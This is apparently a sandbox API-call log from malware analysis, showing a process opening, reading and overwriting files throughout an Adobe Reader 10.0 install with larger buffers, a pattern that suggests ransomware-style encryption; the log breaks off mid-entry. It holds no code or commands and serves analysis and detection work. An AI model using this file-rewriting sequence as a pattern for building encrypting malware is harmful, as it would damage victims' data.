[0042.146] WriteFile (in: hFile=0x1a8, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x340f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.146] CloseHandle (hObject=0x1a8) returned 1 [0042.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Mcimpp.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\mcimpp.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.147] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.147] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2000 [0042.147] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.147] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.147] ReleaseMutex (hMutex=0x128) returned 1 [0042.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CZE", lpUsedDefaultChar=0x0) returned 10 [0042.147] ReadFile (in: hFile=0x1a8, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x340f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0042.149] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.149] WriteFile (in: hFile=0x1a8, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x340f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0042.150] CloseHandle (hObject=0x1a8) returned 1 [0042.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.150] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.150] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa00 [0042.150] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.150] ReleaseMutex (hMutex=0x128) returned 1 [0042.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0042.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HUN", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HUN", lpUsedDefaultChar=0x0) returned 16 [0042.150] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x340f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.154] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.154] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x340f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.154] CloseHandle (hObject=0x1a8) returned 1 [0042.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.155] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.155] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2000 [0042.155] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.155] ReleaseMutex (hMutex=0x128) returned 1 [0042.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUS", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUS", lpUsedDefaultChar=0x0) returned 10 [0042.155] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x340f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0042.159] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.159] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0042.159] CloseHandle (hObject=0x1a8) returned 1 [0042.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\WindowsMedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\windowsmedia.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.160] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.160] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa00 [0042.160] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.160] ReleaseMutex (hMutex=0x128) returned 1 [0042.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0042.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SLV", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SLV", lpUsedDefaultChar=0x0) returned 16 [0042.160] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x340f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0042.166] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.166] WriteFile (in: hFile=0x1a8, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x340f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0042.166] CloseHandle (hObject=0x1a8) returned 1 [0042.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.167] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.167] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x69263 [0042.167] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.167] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.167] ReleaseMutex (hMutex=0x128) returned 1 [0042.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.api", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.api", lpUsedDefaultChar=0x0) returned 9 [0042.167] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.169] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x68263 [0042.169] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.172] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x68263 [0042.172] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c6e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.173] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0042.173] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.173] CloseHandle (hObject=0x1a8) returned 1 [0042.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.173] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.173] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x86988 [0042.173] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.173] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.173] ReleaseMutex (hMutex=0x128) returned 1 [0042.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0042.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d.x3d", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2d.x3d", lpUsedDefaultChar=0x0) returned 6 [0042.174] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.176] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.179] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x85988 [0042.179] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.180] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x85988 [0042.181] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0042.181] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.181] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.181] CloseHandle (hObject=0x1a8) returned 1 [0042.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.182] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.182] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x44a [0042.182] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.182] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.182] ReleaseMutex (hMutex=0x128) returned 1 [0042.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RTC.der", lpUsedDefaultChar=0x0) returned 7 [0042.183] ReadFile (in: hFile=0x1a8, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x44a, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x340f2bc*=0x44a, lpOverlapped=0x0) returned 1 [0042.184] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.184] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a45e18*, nNumberOfBytesToWrite=0x9d2, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a45e18*, lpNumberOfBytesWritten=0x340f2d0*=0x9d2, lpOverlapped=0x0) returned 1 [0042.186] CloseHandle (hObject=0x1a8) returned 1 [0042.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.187] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.188] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x550 [0042.188] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.188] ReleaseMutex (hMutex=0x128) returned 1 [0042.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0042.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x1e78c44, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_initiator.gif", lpUsedDefaultChar=0x0) returned 19 [0042.188] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e179f8, nNumberOfBytesToRead=0x550, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e179f8*, lpNumberOfBytesRead=0x340f2bc*=0x550, lpOverlapped=0x0) returned 1 [0042.189] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.189] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xad8, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f2d0*=0xad8, lpOverlapped=0x0) returned 1 [0042.189] CloseHandle (hObject=0x1a8) returned 1 [0042.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.190] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.190] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e0 [0042.190] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.190] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.190] ReleaseMutex (hMutex=0x128) returned 1 [0042.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdf.gif", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdf.gif", lpUsedDefaultChar=0x0) returned 7 [0042.190] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x340f2bc*=0x1e0, lpOverlapped=0x0) returned 1 [0042.191] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.191] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x768, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x340f2d0*=0x768, lpOverlapped=0x0) returned 1 [0042.191] CloseHandle (hObject=0x1a8) returned 1 [0042.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.192] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.192] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x240 [0042.192] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.192] ReleaseMutex (hMutex=0x128) returned 1 [0042.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0042.192] WideCharToMultiByte (in: CodePage=0xfde9, 